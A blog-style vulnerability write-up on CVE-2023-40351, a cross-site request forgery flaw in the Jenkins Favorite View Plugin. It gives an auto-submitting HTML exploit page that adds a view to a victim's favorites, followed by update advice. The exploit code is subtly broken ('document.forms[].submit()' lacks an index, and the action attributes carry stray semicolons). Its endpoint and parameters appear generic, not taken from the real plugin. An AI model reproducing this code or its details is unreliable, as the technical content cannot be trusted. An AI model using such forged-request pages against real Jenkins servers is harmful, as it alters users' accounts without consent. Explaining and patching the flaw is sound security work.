Recently, a cross-site request forgery (CSRF) vulnerability has been identified in Jenkins Favorite View Plugin version 5.v77a_37f62782d and earlier. This vulnerability can allow attackers to manipulate users' favorite view tabs by adding or removing views without their consent. In this post, we will discuss the nature of this vulnerability, demonstrate a sample exploit, and link to the original references for additional information.

The Vulnerability

CVE-2023-40351 concerns a CSRF vulnerability in Jenkins Favorite View Plugin, which allows attackers to perform actions, such as adding or removing views, on behalf of other users without their knowledge or consent. CSRF vulnerabilities are particularly dangerous as they exploit a user's session or privileges to bypass security measures.

To understand the depth of this vulnerability, consider the following code snipplet which makes a POST request to add a view to a user's favorites:

<form action="https://jenkins.example.com/favorites/add"; method="post">
  <input type="hidden" name="viewname" value="new-view">
  <input type="hidden" name="username" value="victim">
  <input type="submit" value="Add to Favorites">
</form>

The form above doesn't contain any CSRF protection mechanisms, such as a CSRF token. As a result, an attacker can create a malicious webpage with an auto-submitting form that sends forged requests, add or remove views, and trick users into visiting the malicious page. If the user has an active session on the Jenkins server, the form will be submitted using their session, resulting in the manipulation of their favorite view tabs.

Exploiting the Vulnerability

To exploit CVE-2023-40351 and add a view to the victim's favorite tab, an attacker would create a malicious webpage with an auto-submitting form. The form could look like this:

<html>
  <body>
    <form action="https://jenkins.victim-server.com/favorites/add"; method="post">
      <input type="hidden" name="viewname" value="malicious-view">
      <input type="hidden" name="username" value="victim">
    </form>
    <script>
      document.forms[].submit();
    </script>
  </body>
</html>

If the attacker successfully tricks the victim into visiting this malicious page, the "malicious-view" will be added to the victim's favorite tab without their knowledge or consent.

Mitigation and Conclusion

To protect against CVE-2023-40351, it is advised to update the Jenkins Favorite View Plugin to the latest version, which contains the necessary security fixes. Additionally, Jenkins administrators should educate users on the risks of clicking on untrusted links and the importance of maintaining awareness about potential CSRF attacks.

In conclusion, understanding and mitigating CSRF vulnerabilities like CVE-2023-40351 is essential for securing web applications like Jenkins and ensuring the privacy and integrity of user data.

Timeline

Published on: 08/16/2023 15:15:00 UTC
Last modified on: 08/22/2023 22:39:00 UTC